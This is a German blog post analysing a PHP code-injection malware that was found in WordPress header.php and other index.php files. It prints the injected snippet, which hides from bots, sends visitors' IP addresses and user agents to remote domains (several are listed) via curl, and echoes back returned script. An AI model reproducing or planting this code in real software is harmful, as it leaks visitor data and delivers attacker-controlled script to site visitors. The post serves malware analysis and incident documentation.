WordPress-Virus – die Code-Analyse!

In Teil 1 der Dokumentation zur erneuten Virenmeldung auf meinen Accounts bei all-inkl.com (Hier geht’s zum Artikel: PHP-Virus: php_trojan_2 in WordPress eingeschleust) habe ich ja bereits ausführlich beschrieben, das der neuerliche Angriff auf meine Webseiten eigentlich ein alter Hut war. Das Problem war nur, dass der Ende Januar 2014 in meine Webseiten eingeschleuste Code offenbar nicht ausreichend gefährlich war, um den bei all-inkl.com laufenden Virenscanner aufmerksam werden zu lassen.

In diesem zweiten Teil der Dokumentation möchte ich nun einen Blick auf den Code werfen, welchen ich in zweierlei Dateitypen ausmachen konnte:

  • Wenn der Account ein WordPress-Blog beinhaltete, war immer die header.php betroffen.
  • War kein WordPress installiert, wurden alle index.php infiziert!

Der Titel dieses Artikels ist übrigens ein bisserl zu reißerisch gewählt, denn der Virus ist eigentlich kein WordPress-Virus. Vielmehr ist es ein Stückchen Schadcode, welches in jegliche PHP-Datei eingefügt werden kann. Das ich da oben eben “Wordpress-Virus” geschrieben habe ist allein dem Fakt geschuldet, dass ich auf den Virus das erste mal in einem meiner WordPress-Blogs gestoßen bin. Später kamen noch andere Scriptdateien hinzu, welche allerdings nichts mit WordPress zu tun haben.

gelbe Spinne
Eine kleine Spinne – gelb. Also bestimmt sehr gefährlich!

Bei der Art und Weise, wie der Code in die Seiten eingebaut wurde spricht man übrigens von einer sogenannten “code injection” – es wurde Code in eine Seite injiziert. Klingt gleich irgendwie medizinisch und in gewisserweise ist da auch was dran, denn ich werde dem Code gleich mit dem Skalpell zu Leibe rücken.

Der Viren-Code

Ich nahm mir die header.php eines meiner WordPressblogs vor und schaute hinein. Ich fand – wie später in allen anderen infizierten Dateien – folgenden Code so oder so ähnlich vor:


#06xx30#
error_reporting(0); ini_set('display_errors',0); $wp_yxx = @$_SERVER['HTTP_USER_AGENT'];
if (( preg_match ('/Gecko|MSIE/i', $wp_y54) && !preg_match ('/bot/i', $wp_yxx))){
$wp_y09xx="https://"."style"."object".".com/object"."/?ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($wp_yxx);
$ch = curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_y09xx);
curl_setopt ($ch, CURLOPT_TIMEOUT, 6); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $wp_xxy = curl_exec ($ch); curl_close($ch);}
if ( substr($wp_xxy,1,3) === 'scr' ){ echo $wp_xxy; }
#/06xx30#
?>
<?php

?>
<?php

?>
<?php

?>

Die Nummer zwischen den Rauten (#) – in diesem Beispiel die 06xx30 – variierte pro Account! Sie dient wohl als Kennzeichen für den infizierten Account und ich müsste mich wohl schwer irren, wenn nicht irgendwo im Netz eine Liste existieren würde, mit diesen Nummern und den jeweiligen Webadresse, die so mit einem Virus versorgt wurden.

Die Art der Einbindung in die index.php eines Plugins oder Scripts bzw. in die header.php einer WordPress-Installation sorgt dafür, dass dieser PHP-Code bei jedem(!) Aufruf der Seite oder des Scripts ausgeführt wird.

Ein wenig kann ich aus dem Code herauslesen:
Der Virus deaktiviert erst einmal die Ausgabe etwaiger Fehlermeldungen. Er möchte auch im Falle, dass irgendwas schief geht nicht entdeckt werden und eine Fehlermeldung, die ganz offensichtlich nicht zur besuchten Webseite gehört, verrät dem Besucher unter Umständen, dass hier was faul im Staate Dänemark ist.

Zuerst wird der Besucher identifiziert, bzw. dessen Natur. Das geschieht durch das Auslesen der Browserkennung mittels der PHP-Variablen HTTP_USER_AGENT. Sehr interessant an dieser Stelle ist der Fakt, dass der Code versucht, sich vor Google und Co. zu verstecken. Der explizite Ausschluß jedes Besuchers, der das Wort “Bot” in der Kennung hat, zeugt davon, dass hier jemand versucht richtig clever zu sein. Gerade Google würde nämlich dem Webseiten-Betreiber melden, wenn auf seinen Seiten Schadcode implementiert ist. (Sofern der Seitenbetreiber seine Seite bei den GMT (Google Webmaster Tools) angemeldet hat.)
Hat der Code erkannt, dass vermutlich ein normaler Surfer auf der Seite vorbeischaut und dabei den Firefox oder Internet Explorer nutzt, wird eine URL zusammengebastelt, die sich von Account zu Account unterscheidet! Die Webadresse im obigen Fall heisst: https://styleobject.com/object.
Ich habe mich umgeschaut und folgende URLs zusammentragen können, welche verwendet werden:

  • templatebody.com
  • styleobject.com
  • httptitle.com
  • errorcss.com
  • html-href.com
  • htmlvalue.com
  • tagsvalue.com

Es gibt sicherlich noch weitere Domains dieser Art, welche verwendet werden. An die Domain wird meistens das zweite “Wort” als Ordner oder php-Datei (in den obigen Fällen also body, object, title, css, href und value) angehängt und daran wiederum mehrere Parameter:

  • ip=$_SERVER[‘REMOTE_ADDR’]; die IP-Adresse des Besuchers. Also in diesem Fall genau DEINE, weil du dir gerade diese Seite ansiehst.
  • referrer=$_SERVER[‘HTTP_HOST’]; die Seitenadresse – also meine Seite.
  • ua= … da steht der User-Agent drin, also mit welchen Browser du unterwegs bist.

Mittels CURL wird dann die Seite aufgerufen und so die gerade aufgelisteten Daten dorthin geschickt.

Ich würde zunächst mal sagen – da sammelt jemand Daten. Im Grund ist das nichts anderes als ein Log über meine Besucher. Nichts aufregendes oder? Und wo gehen die Daten hin? Ich habe mal die obigen Adressen durch utrace gejagt und … sie werden alle in Holland gehostet! Was soll ich denn davon halten?

Gefährlich wirds jetzt, denn der Aufruf der URL kann Code zurückliefern:

$wp_xxy = curl_exec ($ch); curl_close($ch);} if ( substr($wp_xxy,1,3) === ‘scr’ ){ echo $wp_xxy; }

Die offensichtlich maschinell erstellt Variable $wp_xxy (paranoid wie ich bin, habe ich den echten Namen der Variablen gefälscht. *g*) empfängt irgendetwas aus dem curl_exec-Aufruf. Was da zurückkommt wird zunächst geprüft: die Zeichenkette “scr” muss in der Antwort an der zweiten Stelle stehen. Wenn das der Fall ist, wird der Antwortcode mittels “echo” ausgegeben. Steht nicht “scr” an der besagten Stelle, passiert nichts. Das ist ein lupenreiner Sicherheitsmechanismus: wenn auf der “Gegenseite” etwas schief gegangen ist, dann wird dies abgefangen. Eine korrekte Antwort hat ab der zweiten Stelle ein ‘src’ stehen und dann wird die Antwort auf meiner Seite ausgespuckt. Was das sein kann … darüber darf spekuliert werden. Ich wette aber, dass es nichts schönes ist.

Obwohl der PHP-Code recht interessant ist, macht mich eines etwas stutzig: die Anzahl der offenen PHP-Parser-Anweisungen <?php ?> variierte ebenfalls zwischen den Dateien zwischen einem und drei leeren PHP-Blöcken. Der Sinn erschließt sich mir überhaupt nicht und ich bin inzwischen der Überzeugung, dass beim Script, welches den Code einschleuste, geschlampt wurde. Die andere Möglichkeit, welche ich ebenfalls in Erwägung ziehe ist die, dass nicht nur ein Script hier am Werke war, sondern verschiedene Ausbaustaufen ein und desselben Scripts. Egal – ein leerer Codeblock tut nichts. Und ein Platzhalter für späteren Code kann es auch nicht sein, denn wer diesen obigen Virencode per Script einschleusen kann, ist nicht drauf angewiesen, nach “nichts” suchen zu müssen, um etwa weiteren Müll einzulagern. Korrigere mich, wenn ich da falsch liege.

Tja – mehr gibts kaum noch dazu zu sagen. Ich habe an irgendeiner Stelle meiner Recherchen gelesen, dass der Hacker den Server abgeschaltet hat und die Daten ursprünglich nach China gingen. Dann wundert es mich aber gewaltig, wenn die generierten URLs plötzlich in Holland auftauchen.
Dieser Virus machte seit Anfang des Jahres mächtig die Runde, inzwischen scheint der Hype darum ziemlich abgeflaut zu sein.

Was bleibt ist die Ungewissheit, ob der Virencheck bei all-inkl.com wirklich was taugt. Ich zweifele ernsthaft daran, denn wie ich im ersten Teil dieser Doku schon feststellte, fand der Angriff bereits Ende Januar statt. Die Meldung zum Virenbefall bekam ich am 7.7.14 … so lange braucht kein Scanner. :)

Quellen (u.a.)
https://www.modified-shop.org/forum/index.php?topic=30150.0
https://www.computerbase.de/forum/showthread.php?t=1334456
https://www.php.de/php-fortgeschrittene/105276-hackerangriff-bei-1und1.html

Schreibe einen Kommentar